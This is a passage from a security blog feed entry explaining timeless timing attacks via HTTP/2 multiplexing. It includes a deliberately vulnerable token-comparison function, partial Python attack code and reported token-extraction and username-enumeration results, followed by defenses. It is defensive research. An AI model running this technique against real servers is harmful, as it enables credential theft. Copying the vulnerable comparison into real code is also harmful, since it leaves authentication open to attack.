    <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">'</span><span class="si">{</span><span class="n">char</span><span class="si">}</span><span class="s">: </span><span class="si">{</span><span class="n">elapsed</span><span class="si">:</span><span class="p">.</span><span class="mi">4</span><span class="n">f</span><span class="si">}</span><span class="s">s</span><span class="sh">'</span><span class="p">)</span>
</code></pre></div></div>

<p>The vulnerability exists when the server performs byte-by-byte comparison:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Vulnerable: timing leaks character position
</span><span class="k">def</span> <span class="nf">check_token</span><span class="p">(</span><span class="n">provided</span><span class="p">,</span> <span class="n">actual</span><span class="p">):</span>
    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nf">range</span><span class="p">(</span><span class="nf">len</span><span class="p">(</span><span class="n">actual</span><span class="p">)):</span>
        <span class="k">if</span> <span class="n">provided</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">!=</span> <span class="n">actual</span><span class="p">[</span><span class="n">i</span><span class="p">]:</span>
            <span class="k">return</span> <span class="bp">False</span>
    <span class="k">return</span> <span class="bp">True</span>
</code></pre></div></div>

<p>But network latency between attacker and server is typically 10-200ms with 5-50ms jitter, while the timing difference per character is often less than 1ms.</p>

<h2 id="timeless-timing-via-http2-multiplexing">Timeless Timing via HTTP/2 Multiplexing</h2>

<p>HTTP/2 multiplexes requests over a single TCP connection. If we send two requests simultaneously on the same connection, they arrive at the server at the same time, and the difference in response times reflects only server-side processing - network jitter is eliminated.</p>

<p>The technique:</p>

<ol>
  <li>Open an HTTP/2 connection to the target</li>
  <li>Send two requests in the same TCP segment:
    <ul>
      <li>Request A: the timing oracle (e.g., login with guessed token prefix)</li>
      <li>Request B: a baseline request with known timing (e.g., login with empty token)</li>
    </ul>
  </li>
  <li>Measure which response arrives first</li>
  <li>If A arrives before B, the server spent less time on A (early rejection = wrong character)</li>
  <li>If B arrives before A, the server spent more time on A (later rejection = correct prefix)</li>
</ol>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="n">h2.connection</span>
<span class="kn">import</span> <span class="n">h2.events</span>
<span class="kn">import</span> <span class="n">socket</span><span class="p">,</span> <span class="n">ssl</span>

<span class="c1"># Establish HTTP/2 connection
</span><span class="n">ctx</span> <span class="o">=</span> <span class="n">ssl</span><span class="p">.</span><span class="nf">create_default_context</span><span class="p">()</span>
<span class="n">ctx</span><span class="p">.</span><span class="nf">set_alpn_protocols</span><span class="p">([</span><span class="sh">'</span><span class="s">h2</span><span class="sh">'</span><span class="p">])</span>
<span class="n">sock</span> <span class="o">=</span> <span class="n">socket</span><span class="p">.</span><span class="nf">create_connection</span><span class="p">((</span><span class="sh">'</span><span class="s">target.com</span><span class="sh">'</span><span class="p">,</span> <span class="mi">443</span><span class="p">))</span>
<span class="n">sock</span> <span class="o">=</span> <span class="n">ctx</span><span class="p">.</span><span class="nf">wrap_socket</span><span class="p">(</span><span class="n">sock</span><span class="p">,</span> <span class="n">server_hostname</span><span class="o">=</span><span class="sh">'</span><span class="s">target.com</span><span class="sh">'</span><span class="p">)</span>

<span class="n">conn</span> <span class="o">=</span> <span class="n">h2</span><span class="p">.</span><span class="n">connection</span><span class="p">.</span><span class="nc">H2Connection</span><span class="p">()</span>
<span class="n">conn</span><span class="p">.</span><span class="nf">initiate_connection</span><span class="p">()</span>
<span class="n">sock</span><span class="p">.</span><span class="nf">sendall</span><span class="p">(</span><span class="n">conn</span><span class="p">.</span><span class="nf">data_to_send</span><span class="p">())</span>

<span class="c1"># Send two requests in same TCP write
</span><span class="n">stream_a</span> <span class="o">=</span> <span class="n">conn</span><span class="p">.</span><span class="nf">get_next_available_stream_id</span><span class="p">()</span>
<span class="n">conn</span><span class="p">.</span><span class="nf">send_headers</span><span class="p">(</span><span class="n">stream_a</span><span class="p">,</span> <span class="n">headers_a</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="nf">send_data</span><span class="p">(</span><span class="n">stream_a</span><span class="p">,</span> <span class="n">body_a</span><span class="p">)</span>

<span class="n">stream_b</span> <span class="o">=</span> <span class="n">conn</span><span class="p">.</span><span class="nf">get_next_available_stream_id</span><span class="p">()</span>
<span class="n">conn</span><span class="p">.</span><span class="nf">send_headers</span><span class="p">(</span><span class="n">stream_b</span><span class="p">,</span> <span class="n">headers_b</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="nf">send_data</span><span class="p">(</span><span class="n">stream_b</span><span class="p">,</span> <span class="n">body_b</span><span class="p">)</span>

<span class="c1"># Critical: send both in one TCP segment
</span><span class="n">sock</span><span class="p">.</span><span class="nf">sendall</span><span class="p">(</span><span class="n">conn</span><span class="p">.</span><span class="nf">data_to_send</span><span class="p">())</span>

<span class="c1"># Observe which stream completes first
</span></code></pre></div></div>

<h2 id="practical-results">Practical Results</h2>

<p>I tested this technique against several real-world scenarios:</p>

<h3 id="token-brute-force">Token Brute-Force</h3>

<p>Target: a custom API with byte-by-byte token comparison.</p>
<ul>
  <li>Traditional timing: unable to distinguish with 95% confidence</li>
  <li>Timeless timing: 99.7% accuracy after 20 repetitions per character</li>
  <li>Total time to extract 32-character token: approximately 15 minutes</li>
</ul>

<h3 id="username-enumeration">Username Enumeration</h3>

<p>Target: a login form with different code paths for valid/invalid usernames.</p>
<ul>
  <li>Timing difference: approximately 2ms (database lookup for valid users)</li>
  <li>Traditional timing: 60% accuracy (barely above random)</li>
  <li>Timeless timing: 94% accuracy after 50 repetitions</li>
</ul>

<h3 id="password-hash-comparison">Password Hash Comparison</h3>

<p>Target: bcrypt comparison where early-exit on wrong hash is detectable.</p>
<ul>
  <li>This is a harder target because bcrypt is intentionally slow (100ms+)</li>
  <li>The timing difference is in the comparison after hashing, typically &lt;0.1ms</li>
  <li>Timeless timing: detectable but requires 200+ repetitions per bit</li>
</ul>

<h2 id="beyond-http2-tcp-concurrent-requests">Beyond HTTP/2: TCP Concurrent Requests</h2>

<p>For HTTP/1.1 targets, a similar technique works using multiple TCP connections initiated simultaneously:</p>

<ol>
  <li>Open N TCP connections (pre-handshake)</li>
  <li>Send the timing request on connection 1 and baseline on connection 2 in rapid succession</li>
  <li>Use the TCP SYN-ACK timing to establish a baseline for network conditions</li>
  <li>Repeat many times and use statistical analysis</li>
</ol>

<p>This is less precise than HTTP/2 multiplexing but still significantly better than sequential requests.</p>

<h2 id="defenses">Defenses</h2>

<ol>
  <li><strong>Constant-time comparison functions</strong>: Use <code class="language-plaintext highlighter-rouge">hmac.compare_digest()</code> in Python, <code class="language-plaintext highlighter-rouge">crypto.timingSafeEqual()</code> in Node.js, <code class="language-plaintext highlighter-rouge">hash_equals()</code> in PHP</li>
  <li><strong>Artificial delays</strong>: Add random sleep before responding (reduces throughput, does not eliminate the side channel)</li>
  <li><strong>Rate limiting</strong>: Limit authentication attempts per time window</li>
  <li><strong>HTTP/2 request queuing</strong>: Process multiplexed requests sequentially (breaks timeless timing but reduces HTTP/2 performance benefits)</li>
</ol>

<h2 id="conclusion">Conclusion</h2>

<p>Timeless timing attacks make previously impractical timing side-channels exploitable. Any server-side comparison that is not constant-time should be considered vulnerable when the server supports HTTP/2 or when the attacker can establish concurrent connections.</p>

<h2 id="references">References</h2>

<ul>
  <li>Tom Van Goethem et al., “Timeless Timing Attacks” (USENIX Security 2020)</li>
  <li>Paul Bischoff, “HTTP/2 Rapid Reset Attack”</li>
  <li>Daniel J. Bernstein, “Cache-timing attacks on AES” (2005)</li>
</ul>]]></content><author><name>ZeddYu</name></author><category term="research" /><category term="timing-attacks" /><category term="side-channel" /><category term="web-security" /><summary type="html"><![CDATA[Timing attacks on web applications have traditionally been unreliable due to network jitter. A 1ms difference in server processing time can be obscured by 50ms of network variance. In this post, I explore practical techniques for exploiting timing side-channels in web applications using timeless timing attacks.]]></summary></entry></feed>